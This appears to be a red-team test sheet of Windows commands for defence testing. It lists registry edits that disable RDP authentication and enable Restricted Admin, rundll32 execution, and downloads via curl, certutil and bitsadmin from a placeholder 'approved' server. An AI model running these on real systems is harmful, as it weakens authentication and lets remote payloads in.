# RED TEAM WINDOWS COMMANDS

PT-DEF-001

$encodedString = "<approved-eicar-base64>"
$bytes = [System.Convert]::FromBase64String($encodedString)
$decodedString = [System.Text.Encoding]::UTF8.GetString($bytes)
$decodedString | Out-File <test-file>




PT-DEF-002

reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Winlogon /t REG_DWORD /v AllowMultipleTSSessions /d 1 /f

T-DEF-003

rundll32.exe <approved-test-library>,<export>

PT-LAT-001
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /d 0 /t REG_DWORD /f


PT-LAT-002
reg add "hklm\system\currentcontrolset\control\lsa" /f /v DisableRestrictedAdmin /t REG_DWORD /d 0

PT-C2-001

curl.exe http://<approved-server>/<approved-file> -o <destination-file>

PT-C2-002
certutil.exe -urlcache -split -f http://<approved-server>/<approved-file> <destination-file>


PT-C2-003
bitsadmin.exe /transfer <test-job> /Priority HIGH http://<approved-server>/<approved-file> <destination-file>